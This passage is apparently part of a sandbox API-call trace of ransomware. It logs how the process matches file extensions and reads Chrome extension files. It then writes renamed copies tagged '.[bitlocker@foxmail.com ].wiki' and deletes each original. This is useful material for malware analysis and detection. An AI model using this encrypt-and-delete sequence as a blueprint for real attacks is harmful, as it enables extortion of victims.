Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.511] lstrlenW (lpString=".dbf") returned 4 [0176.511] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.511] lstrlenW (lpString=".1cd") returned 4 [0176.511] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.511] lstrlenW (lpString=".jpg") returned 4 [0176.661] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.661] lstrlenW (lpString=".doc") returned 4 [0176.661] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.661] lstrlenW (lpString=".docx") returned 5 [0176.661] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.661] lstrlenW (lpString=".pdf") returned 4 [0176.661] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.661] lstrlenW (lpString=".xls") returned 4 [0176.661] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.661] lstrlenW (lpString=".xlsx") returned 5 [0176.661] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.661] lstrlenW (lpString=".ppt") returned 4 [0176.661] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.661] lstrlenW (lpString=".zip") returned 4 [0176.661] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.661] lstrlenW (lpString=".rar") returned 4 [0176.661] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.661] lstrlenW (lpString=".bz2") returned 4 [0176.661] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.661] lstrlenW (lpString=".7z") returned 3 [0176.661] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.661] lstrlenW (lpString=".dbf") returned 4 [0176.661] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.662] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.662] lstrlenW (lpString=".1cd") returned 4 [0176.662] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.662] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.662] lstrlenW (lpString=".jpg") returned 4 [0176.662] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.662] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.662] lstrlenW (lpString="messages.json") returned 13 [0176.662] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.665] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=199) returned 1 [0176.665] CloseHandle (hObject=0x1ac) returned 1 [0176.665] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json")) returned 0x2020 [0176.665] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.665] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.665] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0176.666] GetLastError () returned 0x0 [0176.666] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xc7, lpOverlapped=0x0) returned 1 [0176.667] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0176.667] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.668] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.668] SetEndOfFile (hFile=0x1a0) returned 1 [0176.668] CloseHandle (hObject=0x1a0) returned 1 [0176.668] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.668] SetEndOfFile (hFile=0x1ac) returned 1 [0176.669] CloseHandle (hObject=0x1ac) returned 1 [0176.669] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.669] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json")) returned 1 [0176.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.669] lstrlenW (lpString=".doc") returned 4 [0176.669] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.669] lstrlenW (lpString=".docx") returned 5 [0176.669] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.669] lstrlenW (lpString=".pdf") returned 4 [0176.669] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.669] lstrlenW (lpString=".xls") returned 4 [0176.670] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.670] lstrlenW (lpString=".xlsx") returned 5 [0176.670] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.670] lstrlenW (lpString=".ppt") returned 4 [0176.670] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.670] lstrlenW (lpString=".zip") returned 4 [0176.670] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.670] lstrlenW (lpString=".rar") returned 4 [0176.670] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.670] lstrlenW (lpString=".bz2") returned 4 [0176.670] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.670] lstrlenW (lpString=".7z") returned 3 [0176.670] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.670] lstrlenW (lpString=".dbf") returned 4 [0176.670] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.670] lstrlenW (lpString=".1cd") returned 4 [0176.670] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.670] lstrlenW (lpString=".jpg") returned 4 [0176.670] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.670] lstrlenW (lpString=".doc") returned 4 [0176.670] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.670] lstrlenW (lpString=".docx") returned 5 [0176.670] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.670] lstrlenW (lpString=".pdf") returned 4 [0176.671] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.671] lstrlenW (lpString=".xls") returned 4 [0176.671] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.671] lstrlenW (lpString=".xlsx") returned 5 [0176.671] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.671] lstrlenW (lpString=".ppt") returned 4 [0176.671] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.671] lstrlenW (lpString=".zip") returned 4 [0176.671] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.671] lstrlenW (lpString=".rar") returned 4 [0176.671] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.671] lstrlenW (lpString=".bz2") returned 4 [0176.671] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.671] lstrlenW (lpString=".7z") returned 3 [0176.671] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.671] lstrlenW (lpString=".dbf") returned 4 [0176.671] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.671] lstrlenW (lpString=".1cd") returned 4 [0176.671] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 152 [0176.671] lstrlenW (lpString=".jpg") returned 4 [0176.671] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.672] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.672] lstrlenW (lpString="messages.json") returned 13 [0176.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.672] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=187) returned 1 [0176.672] CloseHandle (hObject=0x1ac) returned 1 [0176.672] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json")) returned 0x2020 [0176.672] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.673] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.673] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0176.673] GetLastError () returned 0x0 [0176.673] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xbb, lpOverlapped=0x0) returned 1 [0176.674] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0176.675] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.675] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.675] SetEndOfFile (hFile=0x1a0) returned 1 [0176.675] CloseHandle (hObject=0x1a0) returned 1 [0176.675] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.675] SetEndOfFile (hFile=0x1ac) returned 1 [0176.676] CloseHandle (hObject=0x1ac) returned 1 [0176.676] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.676] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json")) returned 1 [0176.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.677] lstrlenW (lpString=".doc") returned 4 [0176.677] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.677] lstrlenW (lpString=".docx") returned 5 [0176.677] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.677] lstrlenW (lpString=".pdf") returned 4 [0176.677] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.677] lstrlenW (lpString=".xls") returned 4 [0176.677] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.677] lstrlenW (lpString=".xlsx") returned 5 [0176.677] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.677] lstrlenW (lpString=".ppt") returned 4 [0176.677] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.677] lstrlenW (lpString=".zip") returned 4 [0176.677] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.677] lstrlenW (lpString=".rar") returned 4 [0176.677] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.677] lstrlenW (lpString=".bz2") returned 4 [0176.677] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.677] lstrlenW (lpString=".7z") returned 3 [0176.677] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.677] lstrlenW (lpString=".dbf") returned 4 [0176.677] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.678] lstrlenW (lpString=".1cd") returned 4 [0176.678] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.678] lstrlenW (lpString=".jpg") returned 4 [0176.678] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.678] lstrlenW (lpString=".doc") returned 4 [0176.678] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.678] lstrlenW (lpString=".docx") returned 5 [0176.678] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.678] lstrlenW (lpString=".pdf") returned 4 [0176.678] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.678] lstrlenW (lpString=".xls") returned 4 [0176.678] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.678] lstrlenW (lpString=".xlsx") returned 5 [0176.678] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.678] lstrlenW (lpString=".ppt") returned 4 [0176.678] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.678] lstrlenW (lpString=".zip") returned 4 [0176.678] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.678] lstrlenW (lpString=".rar") returned 4 [0176.678] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.678] lstrlenW (lpString=".bz2") returned 4 [0176.679] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.679] lstrlenW (lpString=".7z") returned 3 [0176.679] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.679] lstrlenW (lpString=".dbf") returned 4 [0176.679] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.679] lstrlenW (lpString=".1cd") returned 4 [0176.679] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 